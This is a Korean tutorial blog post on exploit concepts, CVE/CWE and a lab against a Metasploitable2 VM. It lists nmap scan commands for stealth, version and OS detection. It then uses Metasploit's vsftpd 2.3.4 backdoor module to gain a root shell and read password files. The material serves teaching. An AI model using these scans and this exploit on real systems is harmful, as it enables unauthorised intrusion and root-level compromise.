시스템 네트워크 #4

Jh Park·2022년 9월 20일

Exploit

Exploit이란

위치

  • Weakness (약점) : 자산이 가진 일반적 약점인가 아니면 심각한 문제 소지가 있는 취약점인가?

    • Vulnerability (취약점) : 약점 중에서 심각한 문제를 일으킬 소지가 있는가?
      • Exploit (취약점 공격) : 취약점을 파고들 수 있는 공격이 가능한가?
  • 취약점

    • 불법적인 사용자의 접근을 허용할 수 있는 위협 요소
    • 시스템의 정상적인 서비스를 방해하는 위협 요소
    • 시스템에서 관리하는 중요한 데이터의 유출, 변조, 삭제에 대한 위협 또는 위협 요소
  • 취약점 분석

    • 취약점을 찾아내어 그 것에 대한 조치를 제하는 것이다.
      일반적으로 도구에 의한 자동화된 방법을 통해 이로지 경우가 많다. 이는 취약점에 대한 보안권고 사항이 매우 많으며, 시스템에 사용되는 플랫폼이나 장비들이 단일화 되어 있지 않기 때문에 적은 수의 보안 담당자가 이들에 대한 정확한 취약점을 파악하고 대처한다는 것이 쉽지 않기 때문이다.

Exploit 종류

  • Zeroday Exploit
    • 취약점에 대한 패치가 배포되기 전, 즉 아직 알려지지 않은 취약점이라는 의미로서 Exploit code를 먼저 만들어서 공격하는 사례
    • 무방비 상태에서 공격하며 대응할 방법이 없는 상태
  • Oneday Exploit
    • 패치가 배포 후, 즉 알려진 취약점이지만 아직 설치하지 않은 상태이다. 대게 OS와 프로그램 사이의 의존성 문제로 동작에 영향이 있을까봐 우려하여 업데이트를 하지 않음
    • 의존성 문제로 패치를 설치하지 않은 시스템만 골라서 공격하며, 취약점이 알려져 공격방법이 유튜브, 블로그, SNS 등에 정보가 많다.

정보 공유 사이트

  • CVE : Common Vulnerabilities and Exposures(공통 취약점 및 익스포저)
    • 정보 보안 취약점 표준 코드를 의미하며 CVE 시스템은 보안 취약점, 위험노출과 같은 공개적으로 잘 알려진 정보에 대한 참조 및 방법을 제공한다. 미국에서 지원받는 Mitre Corporation에서 CVE는 감독받는다.
    • https://www.cve.org/
      • 표기법 CVE-YYYY-N*3~N7
        4자리부터 7자리까지 있음
  • CWE : Commom Weakness Enumeration(공통 약점 목록)
    • CVE가 정보 보안 취약점 표준 코드를 의미를 의미하였다면 CWE는 공통 약점을 이야기한다.
    • https://cwe.mitre.org/
      • 표기법 CWE-NNN
  • Offensive Security에서 운영하는 취약점 제보사이트

알면 좋은것

  • 취약점이 발견되고 패치가 나올때까지 걸리는 평균 기간 약 2달이 소요된다.(기준: 미국, 2018년 기준)
  • 해킹을 당하고 그 사실을 인지하는데 걸리는 기간은 6개월 이상 걸릴 때가 많다고 한다.

실습

실습 환경

VMWARE Workstation 사용

  • VMWARE 1 : metasploit2 (192.168.5.131)

    • $ sudo adduser ive
      PW : after

    • $ sudo adduser aespa
      PW : illusion

    • $ sudo adduser nct
      PW : intheair

      • 실습을 위해 여러 user을 만들어두었다.
        ※ adduser를 사용하면 마법사를 이용해서 PW, 전화번호 등등 물어봄, 홈디렉터리 만듦.
    • $ sudo useradd astro

    • $ sudo passwd astro
      PW : candy
      ※ useradd를 사용하면 adduser과 다르게 PW, 전화번호 등등 물어보지 않음

  • VMWARE 2 : kali (192.168.5.129)

metasploitable2는 Rapid7이라는 회사에서 Metasploit(공격도구)를 테스트하기 위해 각종 취약한 버전을 골라서 설치한 Victim용 실습 이미지로서 테스트해보기 위해서 만들었다.

실습

VMWARE 2 : kali

  • 해당경로를 통해 Metasploit에 접속

IP Scan
  • $ sudo nmap -sn 192.168.5.129-140
    • 192.168.5.131을 확인
    • -s : scan, n : number
Port Scan
  • 어떤 서비스(열린 포트)가 실행중인가를 파악하여 관리자가 실행하지 않은 서비스가 실행중이라면 백도어가 있을 수있기 때문이다.

  1. TCP scan
  • $ sudo nmap -sT 192.168.5.131
    • 3Way Handshaking을 완성된 스캐닝, 로그가 남기 때문에 잘 사용하지 않는 스캐닝
    • -s : scan, T : TCP
  1. SYN scan
  • $ sudo nmap -sS 192.168.5.131 (-p 1-20000 )
    • 3Way Handshaking을 완성하지 않는 스캐닝
    • SYN만 보내고 ACK를 보내지 않는 기법
  1. UDP scan
  • $ sudo nmap -sU 192.168.5.131
    • 실행중인 UDP서비스를 확인하는 스캐닝
  1. OS scan
  • $ sudo nmap -O 192.168.5.131
    • 운영체제의 종류를 파악하기위한 스캐닝
    • -s은 옵션은 사용하지 않음

※ 엉터리 스캔(Stealth scan)

  • TCP/IP의 논리에 맞지 않는 스캐닝 기법으로 열린 포트는 응답하지 않고 닫힌 포트는 RST를 보내어 열린 포트와 닫힌 포트 구분 가능하다.
  • X-mas(5번), FIN(6번), Null(7번) 세가지 스캔 방식이 있음

  1. X-mas scan
  • $ sudo nmap -sX 192.168.5.131
    • TCP Flag를 모두 1로 만들어서 보내는 스캔
      • nmap에서는 FIN/URG/PSH만 활성화함

  1. FIN scan
  • $ sudo nmap -sF 192.168.5.131
    • TCP Flag FIN(종료요청)을 1로 보내는 스캐닝
      • 보내면 열린 포트는 응답없음, 닫힌 포트는 RST를 보냄

  1. Null scan
  • $ sudo nmap -sN 192.168.5.131
    • TCP Flag를 모두 0으로 만들어서 보내는 스캔
      • 닫혀있는 포트는 응답없음

  1. Version scan
  • $ sudo nmap -sV 192.168.5.131
    • 버전을 알수있는 스캐닝
      - 취약점도 알 수 있음
  1. All scan
  • $ sudo nmap -A 192.168.5.131 -T4
    • Script scan + OS scan + Traceroute + Version scan 전부 수행
    • -T : Timing, 0~6까지 숫자 사용 가능, 클수록 속도 빠름

실행

  • 1단계 : nmap을 이용해서 Target host를 스캐닝
  • 2단계 : 버전 확인
    • IP Scan과 9. All scan 사진에서 확인가능
      • IP Address : 192.168.5.131
      • 포트 : 21/tcp
      • 버전 : vsftpd 2.3.4
  • 3단계 : 스크립트로 공격 여부 확인
    • $ cd /usr/share/nmap/scripts
      - /usr/share/nmap/scripts에서 사용할 스크립트 찾기
    • $ ls -l | wc -l
      • wc -l는 파일의 개수를 세는 명령 (wc : word count)
    • $ sudo find . -name "vsftp"
      • 버전이 vsftp이었으니 관련 파일을 검색
    • $ sudo nmap --script=ftp-vsftpd-backdoor.nse 192.168.5.131 -p 21
      • $ sudo nmap --script=[script 이름] x.x.x.x -p [포트]
      • 결과: vulnerable, 공격이 가능하다.
  • 4단계 : Metasploit으로 공격

    • msf6 > search vsftpd

      • 취약점 모듈 검색
    • msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

      • 모듈 장착
    • msf6 > exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.5.131

      • Target host 지정
      • 결과
        vsFTP의 2.3.4버전에 Backdoor 명령이 실행되는 취약점이 존재하기 때문에 공격이 가능하였고, 공격했더니 Shell을 실행할 수 있었음 (root권한으로)
      • root 이므로 계정 생성도 가능
      • ip 확인
      • passwd확인
      • txt 생성
        • 확인

0개의 댓글